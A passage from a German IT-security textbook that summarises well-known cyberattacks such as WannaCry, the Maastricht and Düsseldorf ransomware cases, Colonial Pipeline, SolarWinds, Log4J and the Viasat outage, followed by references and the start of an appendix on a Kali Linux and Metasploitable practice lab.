Cyberangriffe über die Verschlüsslung mit Ransomware haben in den letzten Jahren massiv zugenommen. Hier soll deshalb nur eine kleine Auswahl von Beispielen zusammengestellt werden, die entweder besondere Aufmerksamkeit erhalten hatten oder die besonders gut dokumentiert sind, sodass sie als Fallbeispiele herangezogen werden können.
14.3.1 WannaCry Im Mai 2017 gab es einen weltweiten Cyberangriff, bei dem zahlreiche Firmen wie zum Beispiel Renault, Telefonica, ´ der britische National Health Service (NHS), FedEx oder die Deutsche Bahn zu den Opfern gehörten. Bei der Deutschen Bahn waren vor allem die
14.3 Verschlüsselungsangriffe
257
Steuersysteme der Anzeigetafeln und Überwachungskameras betroffen. Auf den Anzeigen wurde die Lösegeldforderung der Erpresser dargestellt. Das besondere der Ransomware lag in seiner Wurmfähigkeit: Auf Rechnern bei denen ein älteres Windows-System zum Einsatz kam, das eine ungepatchte Sicherheitslücke enthielt, konnte ohne weitere Nutzeraktion beliebiger Code ausgeführt werden. Diese Lücke basierte auf einem Fehler der Implementierung im SMB-Protokolls, die vom US-amerikanischen Auslandsgeheimdienst NSA zuvor fünf Jahre aktiv genutzt wurde, ohne dass Microsoft davon Kenntnis erlangte. WannaCry nutzte diese Lücke und breitete sich nach der initialen Infektion aus, indem im lokalen Netz nach weiteren Rechner gesucht wurde, bei denen die Sicherheitslücke bestand. Nachdem ein Rechner infiziert wurde, verschaffte WannaCry dem laufenden Account Administratorrechte, machte die versteckten Dateien sichtbar und begann mit der Verschlüsselung von Dateien bestimmter Typen mit einem 2048-Bit-RSA-Schlüssel. Automatische Backups für die Wiederherstellung wurden gelöscht. Anschließend wurde die Lösegeldforderung angezeigt. Die Ausbreitung konnte vorübergehend gestoppt werden, weil der Sicherheitsforscher Marcus Hutchins eher per Zufall einen Notausschalter fand [7]. Im Code des Trojaners entdeckte er die Internetadresse „www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com“.
In der Hoffnung, mehr über den Trojaner ausfindig zu machen, registrierte er diese Domäne und richtete einen Server ein. Sofort wurde der Server mit Verbindungsversuchen überhäuft. Es stellte sich heraus, dass diese Domäne ein „Ausschalter“ war, den der Entwickler eingebaut hatte, um den Trojaner im Notfall stoppen zu können. Nachdem die empfohlenen Sicherheitsupdates eingespielt waren, sind die Angriffe wieder abgeebbt. Neuere Windows-Versionen wie Windows10, die das SMBv1-Protokoll nicht unterstützen, waren von der Angriffswelle nicht betroffen.
14.3.2 Uni Maastricht Ein besonders gut dokumentierter Cyberangriff betraf die Universität Maastricht. Dieser Angriff eignet sich deshalb für weitere Studien, weil sich die Universitätsleitung dazu entschlossen hat, alle wichtigen Erkenntnisse aus dem Vorfall zu veröffentlichen [8, 9]. Selbst der abschließende Untersuchungsbericht steht für einen Download zur Verfügung [10]. Aus diesen Berichten geht hervor, dass am 15. und 16. Oktober 2019 jeweils ein Link auf eine Excel-Datei im Microsoft OneDrive geöffnet wurde, der über eine Phishing-EMail verteilt wurde. Dieses Excel-Dokument enthielt ein Makro, das die SDBBot-Malware nachgeladen und ausgeführt hat. Über das eingerichtete Backdoor erlangten die Angreifer Zugang zum Universitätsnetz. In der Zeit zwischen dem Öffnen der Phishing-E-Mail und
258
14 Fallbeispiele erfolgreicher Angriffe
dem eigentlichen Angriff analysierten die Angreifer die Netzwerkstruktur und bereiteten den Ransomwareangriff vor. Am 21. November 2019 gelang den Angreifern der entscheidende Schritt: Über einen Windows-Server mit fehlenden Sicherheitsupdates, der für die EternalBlue-Sicherheitslücke anfällig war, erlangten sie Administratorrechte. Etwa 10 min später meldeten sich die Angreifer bei einem Domänencontroller als Administrator an. Wie sie an das Passwort für den Domänencontroller gekommen sind, erwähnt der Bericht nicht, aber es wird vermutet, dass das entsprechende Passwort noch im Speicher des kompromittierten Servers abgelegt war. Ab diesem Zeitpunkt hatten die Angreifer volle Administratorrechte auf der gesamten Universitätsdomäne. Einen Tag vor Heiligabend, am 23.12.2019, schlugen die Angreifer dann zu: Um die Ransomware kontrolliert ausführen zu können, installierten Sie ein Programm zum Verteilen der Ransomware-Software. Da dies auf einem der Server vom aktiven Virenschutz erkannt wurde, entfernten sie kurzerhand die eingesetzte Virensoftware. Sie starteten den Ransomwareangriff, indem sie ausgehend von drei Domänencontrollern auf mindestens 267 Windows-Servern die Ransomware Clop ausführten. Der Angriff wurde von den ITAdministratoren dadurch entdeckt, dass sie plötzlich keinen Zugang zu Teilen ihres ITSystems mehr hatten. Zu diesen Systemen gehören die Domänencontroller, E-Mail-Server, Dateiserver mit Forschungs- und Geschäftsdaten sowie eine Reihe von Backup-Servern. Dabei wurde der Universität Maastricht zum Verhängnis, dass die Backup-Server Teile der zentralen Domäne waren und keine weitere Segmentierung implementiert war. Dadurch war es den Angreifern möglich, auch Backup-Systeme und die dort gespeicherten Backups zu verschlüsseln. Am 24. Dezember wandte sich die Leitung der Universität Maastricht an das Unternehmen FOX-IT, das beim Krisenmanagement und der forensischen Untersuchung des Vorfalls Hilfe leisten sollte. Am 29. Dezember beschloss die Universitätsleitung nach langen Diskussionen mit allen Beteiligten, das geforderte Lösegeld in Höhe von 30 Bitcoins (zu diesem Zeitpunkt rund 200.000 e) an die Erpresser zu zahlen, da befürchtet wurde, dass wichtige Daten (sog. Kronjuwelen) in den Backups zerstört wurden. Offensichtlich haben die Angreifer darauf hin den Code zur Entschlüsselung der Daten herausgegeben, denn am 6. Januar konnte der universitäre Betrieb ohne größere Beeinträchtigungen in Forschung, Lehre und in der Verwaltung wieder aufgenommen werden. Wie einige Medien Anfang Juli 2022 berichten, hat die Universität Maastricht einen Teil des in Bitcoins gezahlten Lösegelds wieder zurückerhalten [11]. Die niederländische Polizei konnte bereits im Jahr 2020 den Weg des Geldes auf das Konto eines Geldwäschers nachvollziehen. Im Laufe der juristischen Verhandlungen über die Rückerstattung, die sich über zwei Jahre hinzogen, ist der Wert der Bitcoins auf knapp 500.000 e angestiegen, sodass die Universität Maastricht mit dem gezahlten Lösegeld sogar einen Gewinn erzielen konnte. Der Schaden durch die notwendige Anschaffung neuer IT-Systeme sei allerdings wesentlich größer als der erzielte Gewinn. Die niederländische Polizei fahndet weiter nach den Angreifern und dem restlichen Teil des Lösegelds.
14.3 Verschlüsselungsangriffe
259
14.3.3 Ransomwareangriff auf ein Universitätsklinikum Am 10. September 2020 kam es am Universitätsklinikum Düsseldorf zu einem Verschlüsselungsangriff mit der Ransomware „DoppelPaymer“. Der Ursprung des Angriffs wurde in Russland vermutet [12], weil dieser Verschlüsselungstrojaner bereits in zahlreichen weiteren Fällen von einer kriminellen Hackergruppe eingesetzt wurde, deren Sitz in der Russischen Föderation vermutet wird. Die Ermittler haben herausgefunden, dass die kriminellen Hacker zunächst einen sogenannten „Loader“ zum Nachladen des eigentlichen Schadprogramms ins System der UniKlinik einschmuggelten. Das BSI hatte mitgeteilt, dass die entsprechende Sicherheitslücke in Software von Citrix bereits seit dem Jahreswechsel bekannt war. Dabei handelte es sich um eine Lücke in der Citrix-VPN-Software, die unter dem Namen Shitrix bekannt wurde (CVE-2019-19781). Das wahrscheinlichste Vorgehen war, dass die Angreifer die ShitrixLücke bereits kurz nach Bekanntwerden ausgenutzt hatten und ein Backdoor installierten. Dieses Backdoor wurde offensichtlich erst einige Monate später für den Angriff genutzt [13]. Die Erpresser hinterließen ein Erpresserschreiben, das allerdings an die Universität und nicht an die Uniklinik gerichtet war. Als den Angreifern dieser Sachverhalt mitgeteilt wurde und ihnen klar wurde, dass sie ein Krankenhaus angegriffen haben, übergaben sie einen Schlüssel zur Wiederherstellung der Daten und IT-Systeme. Daraus folgern die Ermittlungsbehörden, dass das eigentliche Ziel des Angriffs die Universität Düsseldorf war. Obwohl die Patientenversorgung der stationären Patienten während des gesamten Angriffs gewährleistet war, wurde die Notaufnahme vorübergehend geschlossen. Für mindestens eine Patientin, die auf ein weiter entferntes Krankenhaus nach Wuppertal überführt werden musste, kamen deshalb die lebensrettenden Maßnahmen zu spät. Deshalb wurden die Ermittlungen auch auf den Verdacht der fahrlässigen Tötung erweitert.
14.3.4 DarkSide Am 7. Mai 2021 wurde der Öl-Pipeline-Betreiber Colonial Pipeline Company Opfer einer Ransomwareattacke durch die Hackergruppe DarkSide, deren Sitz in Russland vermutet wird. Dabei wurden gezielt die Rechner lahmgelegt, die für die Abrechnung des Öls mit den Abnehmern notwendig sind. Die Colonial Pipeline Company musste den Pipelinebetrieb stoppen, wodurch die Ölversorgung einiger Staaten entlang der Ostküste der USA beeinträchtigt wurde. Die Firma zahlte die Lösegeldforderung in Höhe von 75 Bitcoins (damals ca. 4,4 Mio. USD) innerhalb weniger Stunden. Obwohl die Erpresser darauf hin sofort eine Entschlüsselungssoftware bereitstellten, um die Systeme wieder herzustellen, war die Ölversorgung erst nach Tagen wieder möglich, weil die Software für die Entschlüsselung so langsam arbeitete, dass die internen Wiederherstellungsprozeduren durch den Betreiber schneller zum Erfolg
260
14 Fallbeispiele erfolgreicher Angriffe
führten. Der Neustart der Pipelines konnte erst am 12. Mai 2021 erfolgen, sodass die Pipeline für insgesamt ca. sechs Tage außer Betrieb war. Die durch den Shutdown ausgelöste Ölknappheit führte zu Einschränkungen im Flugverkehr und Engpässen in der Benzinversorgung, die durch Hamsterkäufe zusätzlich verstärkt wurden. Analysen der Blockchain ergaben, dass allein im Jahr 2021 Bitcoins in Höhe von 90 Mio. USD an die Gruppe DarkSide sowie deren Partner geleistet wurden. Weitere Untersuchungen lassen vermuten, dass russische Hacker hinter der Gruppe DarkSide stehen. Diese Vermutung liegt nahe, weil Systeme, bei denen die Systemsprache auf „Russisch“ eingestellt wurde, explizit von der Verschlüsselung ausgenommen waren2 . DarkSide ist ein Ransomware-as-a-Service-Anbieter (RaaS). Auf der für die Kommunikation und zur Veröffentlichung gestohlener Daten verwendeten Webseite gab diese Hackergruppe an, dass dieses Ausmaß des entstandenen Schadens nicht beabsichtigt war und dass dies durch ein Tochterunternehmen verursacht wurde. In der Folge dieses Ransomwareangriffs zogen weitere Vertriebsplattformen für Ransomware ihre Angebote im Darknet zurück, sodass diese nicht mehr öffentlich verfügbar waren. Der Vergleich der Software neuerer Ransomwareattacken mit der, die DarkSide eingesetzt hatte, legt jedoch die Vermutung nahe, dass DarkSide weiter unter dem Namen Black-Matter sein Unwesen treibt. Einen Monat später, am 7. Juni 2021 veröffentlichte das amerikanische Justizministerium, dass 63,7 der gezahlten 75 Bitcoins zurückgeholt werden konnten. Durch den Kursverfall der Bitcoins hatten diese in der Zwischenzeit allerdings nur noch einen Wert von ca. 2,3 Mio. USD. Der politische Druck durch diesen Angriff auf eine kritische Infrastruktur war so hoch, dass es dem FBI erstmalig gelang, einen Durchsuchungsbefehl zu erhalten, der sich auf eine bestimmte Bitcoin-Adresse bezog. Das FBI konnte die Summe durch den privaten Schlüssel für die Bitcoins zurückgewinnen. Wie das FBI an den privaten Schlüssel kam, wurde nicht bekannt gegeben.
14.4
Weitere bekannte Cyberangriffe
14.4.1 SolarWinds Der Angriff auf die Firma SolarWinds gilt als einer der größten Hacks der vergangenen Jahre, denn durch diesen Angriff könnten tausende Systeme in verschiedenen Einrichtungen und Firmen betroffen sein. Die Firma SolarWinds entwickelt und vertreibt unter anderem die Managementsoftware Orion, mit der die korrekte Funktion von Systemen, Netzwerken und Anwendungen überwacht werden kann. 2 In der verwendeten Ransomware wurde eine Funktion gefunden, die die eingestellte Betriebssystem-
sprache über die Funktionen GetSystemDefaultUILanguage und GetUserSystemLangID identifiziert. Eine Liste mit allen Kennungen der ehemaligen Sowjetrepubliken sowie Rumänien und Syrien, die dafür sorgt, dass Rechner aus diesen Ländern nicht verschlüsselt werden, lassen auf die russische Herkunft der Cyberkriminellen schließen.
14.4 Weitere bekannte Cyberangriffe
261
Am 9. Dezember 2020 bemerkten IT-Experten der Netzwerkssicherheitsfirma FireEye, dass sie angegriffen wurden. Unbekannte hatten eine Pentest-Software heruntergeladen, die FireEye verwendet, um die Systeme ihrer Kunden zu testen. Wenig später wurde bekannt, dass Abteilungen des Finanz- und Handelsministeriums der USA ebenfalls angegriffen wurden. Die Gemeinsamkeit war, dass alle Opfer die Software Orion einsetzten, weshalb ein Zusammenhang mit SolarWinds hergestellt wurde. Die Rekonstruktion des Vorfalls ergab, dass die Hacker Schadcode mit einem Backdoor in den Übersetzungsprozess der Orion-Software einschleusen konnten. Angeblich schafften es die Angreifer, ihren Code in das Git-Hub-Repository einzubauen, zu dem sie sich Zugang verschafften. So wurde dieses Backdoor über den nachfolgenden Update-Prozess auf alle Nutzer dieser Software verteilt. Die Untersuchungen ergaben, dass weltweit ca. 18.000 Kunden dieses Update bis zum Bekanntwerden der Schadfunktion installiert hatten. Dem BSI sind eine zweistellige Zahl von Einrichtungen bekannt, die das fragliche Update installiert haben [13]. Die Angreifer haben eine Reihe besonderer Maßnahmen ergriffen, um nicht entdeckt zu werden: • So wurde der Schadcode nicht im eigentlichen Quellcode der Software eingefügt, sondern im Übersetzungsvorgang dazu gebunden. Damit umgingen die Angreifer Schutzmaßnahmen, die auf Signaturen des ausführbaren Codes beruhen, da diese Signaturen erst am Ende des Übersetzungsvorgangs berechnet werden3 . • Die Angreifer passten ihre Command-and-Control-Server an jedes Ziel individuell an, was einen erheblichen Aufwand seitens der Angreifer verursacht. • Schließlich wartet der Trojaner nach der Infektion zwei Wochen, bis er aktiv wird und sich mit dem Command-and-Control-Server der Angreifer verbindet, um von dort weitere Befehle zu empfangen. Das besondere an diesem Angriff war, dass die Opfer des Angriffs eigentlich alles richtig gemacht haben: Sie haben eine Sicherheits- und Überwachungssoftware eingesetzt und diese unmittelbar nach Freigabe eines Updates von einem Hersteller, dem sie vertrauen, auf den neusten Stand gebracht. Genau dieses eigentlich korrekte Verhalten führte jedoch zur Infektion. Für diese Art von Angriffen wurde der Begriff Supply-Chain-Angriff geprägt. Da die Schadsoftware als reguläres Update vom Hersteller der Software verbreitet wird, unterlaufen diese gängige Schutzmaßnahmen. Sie sind daher nur sehr schwierig zu erkennen und fallen erst auf, wenn die Angreifer die Schadfunktionen aktivieren.
3 Um sicherzustellen, dass der ausführbare Code dem Original entspricht und nicht manipuliert wurde,
wird über eine Hashfunktion ein Wert berechnet. Dieser Wert wird vom Hersteller bereitgestellt und kann vor der Installation leicht überprüft werden. Eine nachträgliche Veränderung des ausführbaren Codes würde damit sofort auffallen.
262
14 Fallbeispiele erfolgreicher Angriffe
14.4.2 DDoS-Angriff auf einen belgischen Internetprovider Der belgische Internetserviceprovider Belnet meldete, dass am 4. Mai 2021 ein massiver DDoS-Angriff abgewehrt werden konnte. Der Angriff startete um ca. 11 Uhr und konnte erst gegen 17 Uhr wieder unter Kontrolle gebracht werden. Betroffen waren alle am Belnet angeschlossenen Einrichtungen wie Behörden, Universitäten, Forschungseinrichtungen, Schulen und Ministerien, deren Webseiten während des Angriffs nicht erreichbar waren. Betroffen waren auch Online-Angebote, wie zum Beispiel das belgische Webportal für die Reservierung von COVID-19-Impfterminen. Wie später bekannt gegeben wurde, wurden die Behördenwebseiten mit ca. 40 Mio. EMails bombardiert, die aus 29 verschiedenen Ländern abgesendet wurde. Dabei wurden ca. 250.000 IP-Adressen als Absender verwendet. Das Ziel der Cyberkriminellen war wohl die Server der Ministerien lahmzulegen. Der Angriff erreichte deshalb eine besondere Aufmerksamkeit, weil einige Debatten die für diesen Tag angesetzt waren, unter anderem eine Debatte im Ausschuss für auswärtige Angelegenheiten über die Situation der Minderheit der Uiguren in China, verschoben werden mussten, da die notwendige Technikunterstützung nicht gewährleistet werden konnte. Einige Sicherheitsforscher vermuten deshalb China als Ausgangspunkt für den Angriff. An verschiedenen Stellen wurde übereinstimmend berichtet, dass keine Daten abgegriffen wurden und dass keine Lösegeldforderungen eingegangen sind, was die Vermutung einer politischen Motivation für diese DDoS-Angriff weiter unterstützt.
14.4.3 Log4J Im Dezember 2021 wurde eine Schwachstelle in der Java-Bibliothek „Log4J“ entdeckt, die in der CVE-Datenbank als extrem kritisch eingestuft wurde (CVE-2021-45046, CVE-202145105). Dabei konnten Angreifer beliebigen Programmcode, und damit auch Schadcode, ausführen sowie Daten exfiltrieren. Das Problem war, dass die Java-Bibliothek Log4J aufgrund ihrer universellen Funktionalität weltweit auf praktisch allen Servern, Netzwerkkomponenten und Systemkomponenten installiert war. Dazu kam, dass diese Lücke besonders einfach auszunutzen war. Log4J stellt komfortable und leicht zu nutzende Funktionen zur Protokollierung von Programmaktivitäten in Logfiles zur Verfügung. Deshalb haben Softwareentwickler bei JavaProjekten weltweit diese Bibliothek in ihre Produkte eingebunden. Zu dem Zeitpunkt der Entdeckung gab es noch keine Patches oder Workarounds, sodass diese Lücke als sogenannter „Zero-Day-Exploit“ einzustufen war. Es dauerte nur wenige Tage, bis kriminelle Angreifer diese Sicherheitslücke aktiv ausgenutzt haben. Die Lücke in der Log4J-Bibliothek bestand darin, dass die Zeichenketten eines zu speichernden Logeintrags von den Bibliotheksfunktionen interpretiert wurden. Um die Lesbarkeit von Fehlermeldungen in einer Java-Applikation in Logeinträgen zu verbessern, gehörten
14.4 Weitere bekannte Cyberangriffe
263
auch Referenzen auf Objekte oder Klassen zu den Informationen, die automatisiert aus dem Kontext ausgelesen werden, in dem die Applikation gestartet wurde. Dabei konnten auch Objekte von entfernten Rechnern aufgerufen werden. Der Fehler in Log4J bestand nun darin, dass bei einer Abfrage das Präfix „java:comp/env/“ vorangestellt wird. Wenn diese Abfrage jedoch ein „:“ enthält, wird dieses Präfix nicht automatisch hinzugefügt, sondern es wurde die volle angegebene Adresse, auch auf entfernte Server, verwendet. Für einen erfolgreichen Angriff reichte es also, einen Server (z. B. einen LDAP-Server) zu betreiben, der als Antwort den Schadcode oder einen entsprechenden Hyperlink liefert, sowie die passende Anwendung, zum Beispiel ein in Java geschriebenes Chat-Programm. Diese Anwendung musste lediglich durch eine provozierte Fehlermeldung dazu gebracht werden, einen Logeintrag mit dem entsprechenden Aufruf zu generieren. Durch diese Fehlermeldung wurde der Schadcode automatisch nachgeladen. Da für diesen Aufruf das Protokoll HTTP, TCP, UDP verwendet werden konnte, gingen die Anfragen problemlos durch eine Firewall zum externen Server. In den meisten Fällen wurden deshalb auch die Antworten mit dem Schadcode durch eine Firewall durchgelassen, sodass Firewalls oder NATs keinen Schutz boten. Die Gefahr, die von dieser Lücke ausging, war deshalb so groß, weil einige kritische Infrastrukturen die entsprechenden Bibliotheken in ihren Anwendungen eingesetzt hatten. Als Gegenmaßnahme wurde empfohlen, auf die damals aktuelle Version von Log4J upzudaten, bei der diese Lücke behoben war. Das war jedoch nicht immer einfach, weil viele Java-Anwendungen Log4J tief im Programmcode versteckt einsetzen und diese erst einmal alle gefunden werden mussten. Meist konnte das nur der Softwareanbieter selbst erledigen, der einen entsprechenden Patch bereitstellen musste.
14.4.4 Fernüberwachung von Windkraftanlagen Im April 2022 wurde bekannt, dass ein Betreiber von Fernwartungsanlagen für deutsche Windkrafträder Opfer einer Cyberattacke wurde. Bei diesem Angriff wurde die Fernüberwachung und Regelung von ca. 2000 Windkrafträdern lahmgelegt. Bei diesem Angriff wurde die Satellitenkommunikation unterbrochen. Dieser Kommunikationsweg wird für Windräder verwendet, die an Standorten stehen, die über das normale Mobilfunknetz nicht erreichbar sind. Da die ersten Ausfälle zeitgleich mit dem Beginn des russischen Angriffskriegs am 24. Februar 2022 entdeckt wurden, wurde schnell spekuliert, dass der Angriff primär der Satellitenkommunikation über KA-SAT-Kommunikationssatelliten der Firma Viasat galt, das vom US-amerikanischen Militär mit genutzt wird und die Endkunden in der Ukraine versorgt. Die forensischen Untersuchungen haben diesen Verdacht bestätigt. Viasat meldete, dass der Angriff mit einer DDoS-Attacke startete. Anschließend wurde beobachtet, dass zehntausende Modems offline gingen und nicht wieder am Netz anmeldeten. Dies betraf einige
264
14 Fallbeispiele erfolgreicher Angriffe
tausend Geräte in der Ukraine, aber auch einige zehntausend Modems in anderen Ländern Europas. Weitere Untersuchungen ergaben, dass eine fehlerhafte VPN-Konfiguration dazu führte, dass die Cyberkriminellen Zugang zu einem Management-Netzwerksegment des KA-SATNetzwerks erhielten. Von dort haben die Angreifer zulässige Kommandos gleichzeitig an zahlreiche Modems abgesetzt, was dem Betreiber nicht auffiel. Mit diesen Kommandos löschten sie die Konfigurationsdaten im Flash-Speicher der Modems und starteten sie neu, sodass sie offline gingen und nicht mehr auf das Satellitennetzwerk zugreifen konnten. Die Modems wurden durch das Überschreiben der Daten nicht beschädigt, sodass sie durch ein Reset in den Urzustand wieder reaktiviert werden konnten. Das Zurücksetzen musste jedoch am Modem selbst durchgeführt werden. Im Falle der Windkrafträder bedeutete dies, dass ein Servicetechniker zum Windrad fahren und das Modem manuell zurücksetzen musste. Da ca. 5800 Windräder betroffen waren, nahm dieser Prozess einige Zeit in Anspruch. Somit sind die Ausfälle der Fernüberwachung weniger als direkter Angriff auf die Windräder sondern als Kollateralschaden des Angriffs auf den Betreiber der Satellitenkommunikation zu bewerten.
14.4.5 DDoS-Schutzgelderpressung Waren Ransomwareangriffe im Jahr 2021 besonders häufig, wird für das Jahr 2022 ein neuer Rekord an DDoS-Angriffen vorhergesagt [15]. Insbesondere durch geopolitische Verwerfungen werden verstärkte DDoS-Aktivitäten beobachtet [16]. Bereits im Jahr 2021 wurden 9,7 Mio. DDoS-Angriffe gezählt, was ungefähr einem Angriff alle 3 s entspricht. Insbesondere in der zweiten Jahreshälfte wurden Angriffe beobachtet, die Datenraten von mehr als einem Terabit/s produzierten. Der Spitzenwert lag bei 2,3 Terabit/s und wurde von 15.000 Bots gestartet. Das Ziel dieses Angriffs war Amazon Web Services. Amazon meldete, dass der Angriff erfolgreich abgewehrt werden konnte. Die Angreifer nutzten das CLDAP-Protokoll4 um eine Multiplication-DDoS-Attacke (s. Abschn. 4.7) durchzuführen. Das Überlasten der Server ist nur bei politisch motivierten Angriffen das Hauptziel der Angreifer. Viel häufiger sind Erpressungsversuche, bei denen die Angreifer die betroffenen Einrichtungen zunächst warnen und ein Lösegeld fordern. Diese Warnungen gehen in der Regel mit kurzen massiven Angriffswellen einher. Später werden die Angriffswellen massiver um den Druck zu erhöhen. Immer häufiger werden Unternehmen mit Erpressungsversuchen konfrontiert: Die Unternehmen werden aufgefordert, eine bestimmte Summe in Bitcoins bis zu einem bestimmten Zeitpunkt zu bezahlen. Wenn sie sich weigern, würden dieses Unternehmen einer DDoSAttacke zum Beispiel auf den Webserver ausgesetzt werden. Obwohl alle Wirtschaftsbereiche von solchen Erpressungsversuchen betroffen sind, wird in der Öffentlichkeit nur 4 Connection-less Lightweight Directory Access Protocol, TCP Ports 389 und 636.
Literatur
265
wenig darüber berichtet. Meist folgen auf diese Drohungen unmittelbar Attacken, welche die Ernsthaftigkeit dieser Drohung unterstreichen. Diese DDoS-Angriffe werden von Angreifern außerdem auch als flankierende Maßnahme eingesetzt, um die Abwehr laufender Ransomwareangriffe zu behindern. Die Abwehrteams, die eigentlich mit der Ransomwareattacke vollständig ausgelastet sind, werden durch die DDoS-Attacke zusätzlich belastet. Auf diese Weise wird der Druck zur Zahlung des Lösegelds weiter erhöht. Google hat in einem Blogeintrag [17] gemeldet, dass am 1. Juni 2022 ein neuer Rekord für ein HTTPS-DDoS-Angriffe erreicht wurde: Dabei wurden in der Spitze ca. 46 Mio. HTTPS-Anfragen pro Sekunde auf einen Load-Balancer abgesetzt, der bei Google gehostet wird. Laut Google wurden in 10 s auf diese Weise ungefähr so viele Anfragen gestartet, wie der Wikipedia-Anfragen eines gesamten Tages entspricht. Diese Angriff sind so massiv, dass sie auch Hosting-Anbieter wie Google, Amazon oder Microsoft herausfordern. Allerdings gibt es bei diesen Unternehmen auch hervorragende CERTs, sodass diese Angriffe meist nach kurzer Zeit abgewehrt werden können. Im Kontext von DDoS-Angriffen wird in den Medien derzeit ein interessanter Aspekt diskutiert: um illegale Livestreams zu unterbrechen, wollen Rechteinhaber beim Gesetzgeber den legalen Einsatz von DDoS-Angriffen auf die Streaming-Server erreichen. Der Hintergrund dieser Bestrebung liegt darin, dass behördliche Maßnahmen gegen diese illegalen Streams nicht oder zu spät wirken. Da die Server meist im Ausland betrieben werden, ist eine reguläre Verfolgung schwierig und viel zu langsam, sodass die Livestreams in der Regel längst beendet wurden. Spannend wird in diesem Zusammenhang, wie Rechteinhaber eine geeignete Infrastruktur zur Durchführung dieser Angriffe aufbauen wollen.
Literatur 1. Rupprecht, D., Kohls, K., Holz, T., Pöpper, C.: Breaking LTE on Layer Two https://alter-attack. net/media/breaking_lte_on_layer_two.pdf (2018) Aufgerufen am 27. Oct. 2022 2. Rupprecht, D., Kohls, K., Holz, T., Pöpper, C.: Call Me Maybe: Eavesdropping Encrypted LTE Calls With ReVoLTE https://revolte-attack.net/media/revolte_camera_ready.pdf (2020) Aufgerufen am 27. Oct. 2022 3. Beer, I., Groß, S.: A deep dive into an NSO zero-click iMessage exploit: Remote Code Execution https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html (2021) Aufgerufen am 27. Oct. 2022 4. Dunlap, T.: The 5 Worst Examples of IoT Hacking and Vulnerabilities in Recorded History. https://www.iotforall.com/5-worst-iot-hacking-vulnerabilities (2020). Aufgerufen am 30. Apr. 2022 5. Marvin, R.: The 5 Worst Hacks and Breaches of 2016 and What They Mean for 2017. https://uk.pcmag.com/business/87031/the-5-worst-hacks-and-breaches-of-2016and-what-they-mean-for-2017 (2017). Aufgerufen am 30. Apr. 2022 6. Esposito, S., Sgandurra, D., Bella, G.: Alexa versus Alexa: Controlling Smart Speakers by Self-Issuing Voice Commands https://doi.org/10.48550/arXiv.2202.08619 (2022) Aufgerufen am 27. Oct. 2022
266
14 Fallbeispiele erfolgreicher Angriffe
7. Hutchins, M.: How to Accidentally Stop a Global Cyber Attacks. https://www.malwaretech. com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html (2017). Aufgerufen am 27.10.2022 8. Maastricht University: Response of Maastricht University to FOX-IT report. https://www. maastrichtuniversity.nl/file/reponseofmaastrichtuniversitytofox-itreportpdf. (2020) Aufgerufen am 22.7.2022 9. FOX-IT: Spoedondersteuning Project Fontana. https://www.maastrichtuniversity.nl/file/ foxitrapportreactieuniversiteitmaastrichtnl10-02pdf (2020) in Niederländisch. Aufgerufen am 22. Jul. 2022 10. Maastricht University: Cyber Attack on Maasticht University. https://www.maastrichtuniversity. nl/file/reportcyberattackmaastrichtuniversitycompletepdf (2020) Aufgerufen am 22. Jul. 2022 11. Forschung & Lehre: Uni Maastricht bekommt Lösegeld erstattet. https://www.forschung-undlehre.de/zeitfragen/uni-maastricht-bekommt-loesegeld-erstattet-4843 (2022) Aufgerufen am 21. Jul. 2022 12. Westernhagen, O. v.: Uniklinik Düsseldorf: Ransomware „DoppelPaymer“ soll hinter dem Angriff stecken. https://www.heise.de/news/Uniklinik-Duesseldorf-RansomwareDoppelPaymer-soll-hinter-dem-Angriff-stecken-4908608.html. Aufgerufen am 19.7.2022 13. BSI: Die Lage der IT-Sicherheit in Deutschland 2021. https://www.bmi.bund.de/SharedDocs/ downloads/DE/publikationen/themen/it-digitalpolitik/bsi-lagebericht-cybersicherheit-2021. pdf (2021). Aufgerufen am 24. Apr. 2022 14. Kühl, E.: Ein Hackerangriff, der um die Welt geht. https://www.spektrum.de/news/solarwindsein-hackerangriff-der-um-die-welt-geht/1819187 (2021). Aufgerufen am 20. Jul. 2022 15. Gehri, M.: Warum für 2022 eine neue Rekordzahl an DDoS-Attacken prognostiziert wird. https://www.infoguard.ch/de/blog/warum-fuer-2022-eine-neue-rekordzahl-anddos-attacken-prognostiziert-wird. Aufgerufen am 19. Jul. 2022 16. NetScout: Issue 8: Findings From 2nd Half 2021 NETSCOUT Threat Intelligence Report. https://www.netscout.com/threatreport (2022). Aufgerufen am 20. Jul. 2022 17. Kiner, E., Konduru, S.: How Google Cloud blocked the largest Layer 7 DDoS attack at 46 million rps. https://cloud.google.com/blog/products/identity-security/how-google-cloud-blockedlargest-layer-7-ddos-attack-at-46-million-rps (2022). Aufgerufen am 3. Okt. 2022.
A
Open Source Werkzeuge
In diesem Buch werden immer wieder Werkzeuge erwähnt, die eingesetzt werden können, um andere Systeme auf Lücken hin zu testen oder sie sogar anzugreifen. In diesem Zusammenhang sticht die Kali-Linux-Distribution heraus, bei der die meisten dieser Werkzeuge bereits vorinstalliert sind. Nicht Bestandteil der Kali-Grundinstallation sind aber Vulnerability-Scanner oder Intrusion-Detection-Systeme. Um einen Einstieg in diese Werkzeuge zu vermitteln, soll an dieser Stelle die Installation und Grundkonfiguration dieser zusätzlichen Werkzeuge zusammengestellt werden. Diese Anleitungen sind jedoch mit Vorsicht zu genießen. Bei jeder neuen Version dieser Werkzeuge verändern sich diese Installationsschritte geringfügig. Diese Anleitungen können also nur einen groben Anhaltspunkt über die Installationsschritte liefern. In den Übungen werden immer wieder Tests in einem kleinen Testlabor, bestehend aus auf einem Kali-Rechner und einem Rechner Metasploitable als zu untersuchendes Zielsystem durchgeführt. Hier gibt es mehre Möglichkeiten: 1. Sie können beide Systeme und das Netzwerk in virtuellen Maschinen auf einer Rechnerhardware ausführen. 2. Sie können einen eigenen Kali-Rechner aufsetzen und Metasploitable in einer virtuellen Maschine betreiben. Im ersten Fall benötigen Sie einen Rechner mit ausreichend Prozessorleistung und Hauptspeicher. Da mehrere virtuelle Maschinen auf derselben Hardware laufen, empfehlt sich ein Rechner mit mehreren Kernen. Im zweiten Fall benötigen Sie zwei Systeme: Metasploitable 2 und das Netzwerk werden virtualisiert und der Kali-Rechner ist eine eigene Hardware im selben Subnetz. Für den Kali-Rechner kann für die Übungen auch etwas ältere Hardware oder sogar ein Raspberry Pi zum Einsatz kommen, weil in den Übungen keine aufwendigen Rechenoperationen durchgeführt werden. In beiden Fällen sieht 